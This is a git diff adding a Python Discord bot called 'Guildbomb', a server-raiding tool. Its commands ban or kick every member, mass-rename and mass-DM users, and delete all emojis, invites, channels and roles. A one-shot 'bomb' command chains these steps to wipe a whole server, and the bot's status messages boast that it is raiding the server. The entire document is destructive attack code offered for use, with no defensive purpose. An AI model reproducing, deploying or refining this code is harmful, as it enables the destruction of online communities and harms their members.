diff --git a/Guildbomb/EntireRaid/module.py b/Guildbomb/EntireRaid/module.py new file mode 100644 index 0000000..f32b826 --- /dev/null +++ b/Guildbomb/EntireRaid/module.py @@ -0,0 +1,62 @@ +' The Imports (Do not change anything right here) ' +from UtilsDirectory.data import * + + +class RaidModule(commands.Cog): + + def __init__(self, bot): + self.bot = bot + + @commands.command(aliases=["guildbomb", "grenade"]) + async def bomb(self, ctx): + await ctx.send(f"Kill the entire discord-server (`{ctx.guild.name}`)? [y/n]") + + def check_data(message): + return message.author == ctx.message.author + + while True: + try: + msg = await self.bot.wait_for('message', check=check_data, timeout=int(timeout)) + if msg.content == "y": + await ctx.send(waitmsg) + for user in list(ctx.guild.members): + try: + await ctx.guild.ban(user) + except Exception: + pass + print(f"Banned all user.") + for emoji in list(ctx.guild.emojis): + try: + await emoji.delete() + except Exception: + pass + print(f"Deleted all emojis.") + for invite in await ctx.guild.invites(): + try: + await invite.delete() + except Exception: + pass + print(f"Deleted all invites.") + for channels in list(ctx.guild.channels): + try: + await channels.delete() + except Exception: + pass + print(f"Deleted all channels.") + for roles in list(ctx.guild.roles): + try: + await roles.delete() + except Exception: + pass + print(f"Deleted all roles.") + return + if msg.content == "n": + await ctx.send(no_msg) + return + except asyncio.TimeoutError: + await ctx.send(timeout_msg) + return + + +def setup(bot): + bot.add_cog(RaidModule(bot)) diff --git a/Guildbomb/RaidModules/modules.py b/Guildbomb/RaidModules/modules.py new file mode 100644 index 0000000..505ba75 --- /dev/null +++ b/Guildbomb/RaidModules/modules.py @@ -0,0 +1,222 @@ +' The Imports (Do not change anything right here) ' +from UtilsDirectory.data import * + + +class RaidModules(commands.Cog): + + def __init__(self, bot): + self.bot = bot + + @commands.command(aliases=["allkick"]) + async def all_kick(self, ctx): + await ctx.send(f"Kick everyone out of `{ctx.guild.name}`? [y/n]") + + def check_data(message): + return message.author == ctx.message.author + + while True: + try: + msg = await self.bot.wait_for('message', check=check_data, timeout=int(timeout)) + if msg.content == "y": + await ctx.send(waitmsg) + for user in list(ctx.guild.members): + try: + await ctx.guild.kick(user) + except Exception: + pass + await ctx.send(donemsg) + return + if msg.content == "n": + await ctx.send(no_msg) + return + except asyncio.TimeoutError: + await ctx.send(timeout_msg) + return + + @commands.command(aliases=["allban"]) + async def all_ban(self, ctx): + await ctx.send(f"Ban everyone out of `{ctx.guild.name}`? [y/n]") + + def check_data(message): + return message.author == ctx.message.author + + while True: + try: + msg = await self.bot.wait_for('message', check=check_data, timeout=int(timeout)) + if msg.content == "y": + await ctx.send(waitmsg) + for user in ctx.guild.members: + try: + await ctx.guild.ban(user) + except Exception: + pass + await ctx.send(donemsg) + return + if msg.content == "n": + await ctx.send(no_msg) + return + except asyncio.TimeoutError: + await ctx.send(timeout_msg) + return + + @commands.command(aliases=["allrename"]) + async def all_rename(self, ctx, newname): + await ctx.send(f"Rename everyone to `{newname}` in `{ctx.guild.name}`? [y/n]") + + def check_data(message): + return message.author == ctx.message.author + + while True: + try: + msg = await self.bot.wait_for('message', check=check_data, timeout=int(timeout)) + if msg.content == "y": + await ctx.send(waitmsg) + for user in list(ctx.guild.members): + try: + await user.edit(nick=newname) + except Exception: + pass + await ctx.send(donemsg) + return + if msg.content == "n": + await ctx.send(no_msg) + return + except asyncio.TimeoutError: + await ctx.send(timeout_msg) + return + + @commands.command(aliases=["senddm", "alldm"]) + async def all_dm(self, ctx, message): + await ctx.send(f"DM everyone with `{message}` in `{ctx.guild.name}`? [y/n]") + + def check_data(message): + return message.author == ctx.message.author + + while True: + try: + msg = await self.bot.wait_for('message', check=check_data, timeout=int(timeout)) + if msg.content == "y": + await ctx.send(waitmsg) + for user in list(ctx.guild.members): + try: + await user.send(nick=message) + except Exception: + pass + await ctx.send(donemsg) + return + if msg.content == "n": + await ctx.send(no_msg) + return + except asyncio.TimeoutError: + await ctx.send(timeout_msg) + return + + @commands.command(aliases=["delemojis"]) + async def del_emojis(self, ctx): + await ctx.send(f"Delete every emoji in `{ctx.guild.name}`? [y/n]") + + def check_data(message): + return message.author == ctx.message.author + + while True: + try: + msg = await self.bot.wait_for('message', check=check_data, timeout=int(timeout)) + if msg.content == "y": + await ctx.send(waitmsg) + for emoji in list(ctx.guild.emojis): + try: + await emoji.delete() + except Exception: + pass + await ctx.send(donemsg) + return + if msg.content == "n": + await ctx.send(no_msg) + return + except asyncio.TimeoutError: + await ctx.send(timeout_msg) + return + + @commands.command(aliases=["delinvites"]) + async def del_invites(self, ctx): + await ctx.send(f"Delete every invite in `{ctx.guild.name}`? [y/n]") + + def check_data(message): + return message.author == ctx.message.author + + while True: + try: + msg = await self.bot.wait_for('message', check=check_data, timeout=int(timeout)) + if msg.content == "y": + await ctx.send(waitmsg) + for invite in await ctx.guild.invites(): + try: + await invite.delete() + except Exception: + pass + await ctx.send(donemsg) + return + if msg.content == "n": + await ctx.send(no_msg) + return + except asyncio.TimeoutError: + await ctx.send(timeout_msg) + return + + @commands.command(aliases=["delchannels"]) + async def del_channels(self, ctx): + await ctx.send(f"Delete every channel in `{ctx.guild.name}`? [y/n]") + + def check_data(message): + return message.author == ctx.message.author + + while True: + try: + msg = await self.bot.wait_for('message', check=check_data, timeout=int(timeout)) + if msg.content == "y": + await ctx.send(waitmsg) + for channels in list(ctx.guild.channels): + try: + await channels.delete() + except Exception: + pass + await ctx.author.send(donemsg) + return + await ctx.send(waitmsg) + if msg.content == "n": + await ctx.send(no_msg) + return + except asyncio.TimeoutError: + await ctx.send(timeout_msg) + return + + @commands.command(aliases=["delroles"]) + async def del_roles(self, ctx): + global wait + await ctx.send(f"Delete every role in `{ctx.guild.name}`? [y/n]") + + def check_data(message): + return message.author == ctx.message.author + + while True: + try: + msg = await self.bot.wait_for('message', check=check_data, timeout=int(timeout)) + if msg.content == "y": + wait = await ctx.send(waitmsg) + for roles in list(ctx.guild.roles): + try: + await roles.delete() + except Exception: + pass + await ctx.send(donemsg) + return + if msg.content == "n": + await ctx.send(no_msg) + return + except asyncio.TimeoutError: + await ctx.send(timeout_msg) + return + + +def setup(bot): + bot.add_cog(RaidModules(bot)) diff --git a/Guildbomb/UtilsDirectory/data.py b/Guildbomb/UtilsDirectory/data.py new file mode 100644 index 0000000..93e8c03 --- /dev/null +++ b/Guildbomb/UtilsDirectory/data.py @@ -0,0 +1,21 @@ +from discord.ext import commands, tasks +import discord +import asyncio +import os + +######################################################################################################################## +# Paste your token and a custom prefix right here: +dc_token = "X" # DISCORD-TOKEN +dc_prefix = "!!" # BOT-PREFIX + +######################################################################################################################## + +greencolors = [0x4cd137, 0x44bd32, 0xA3CB38] +redcolors = [0xeb4d4b, 0xff7979, 0xee5253] +bluecolors = [0x74b9ff, 0x487eb0, 0x686de0] + +timeout = 35 +waitmsg = "⏳ | Please wait..." +donemsg = "✅ | **Done.**" +no_msg = "❎ | **Okay.**" +timeout_msg = "☕ | **It took you too long to answer.**" diff --git a/Guildbomb/mainbomb.py b/Guildbomb/mainbomb.py new file mode 100644 index 0000000..9fb878f --- /dev/null +++ b/Guildbomb/mainbomb.py @@ -0,0 +1,50 @@ +' The Imports (Do not change anything right here) ' +from UtilsDirectory.data import * + +' The Botprefix ' +bot = commands.Bot(command_prefix=dc_prefix) + +' The Botstart ' +@bot.event +async def on_ready(): + print(f"...time to detonate the bomb :) [3/3]") + print(f"Servers using {bot.user.name}:", + len(bot.guilds)) + print("\u001b[0m") + print("\033[94m | https://github.com/ARealWant/Guildbomb | \u001b[0m") + print("\033[94m | Use at your own risk. | \u001b[0m") + print(f"\033[94m | Start with {dc_prefix}help | \u001b[0m\n") + bot.loop.create_task(status_task(bot)) + + +' The Statustask ' +async def status_task(bot): + while True: + await bot.change_presence(activity=discord.Game(name="🍕 Eating pizza...")) + await asyncio.sleep(15) + await bot.change_presence(activity=discord.Game(name="🍹 Drinking smoothies...")) + await asyncio.sleep(15) + await bot.change_presence(activity=discord.Game(name="👋 and raiding your Discord-Server...")) + await asyncio.sleep(15) + + +' The Errorhandling ' +@bot.event +async def on_command_error(ctx, error): + print(f"{ctx.guild.name}: {error}") # Consolemessage + if isinstance(error, commands.CommandError): + await ctx.send(f">>> **I just found an error!** (Check also your console!)\n{error}") # Errormessage + + +' Raiding Area (All Commands listed) ' +for filename in os.listdir('EntireRaid'): + if filename.endswith('.py'): + bot.load_extension(f'EntireRaid.{filename[:-3]}') +print("\033[91;1m... Ready! [1/3]") +for filename in os.listdir('RaidModules'): + if filename.endswith('.py'): + bot.load_extension(f'RaidModules.{filename[:-3]}') +print("... Ready! [2/3]") + +bot.remove_command('help') +bot.run(dc_token) \ No newline at end of file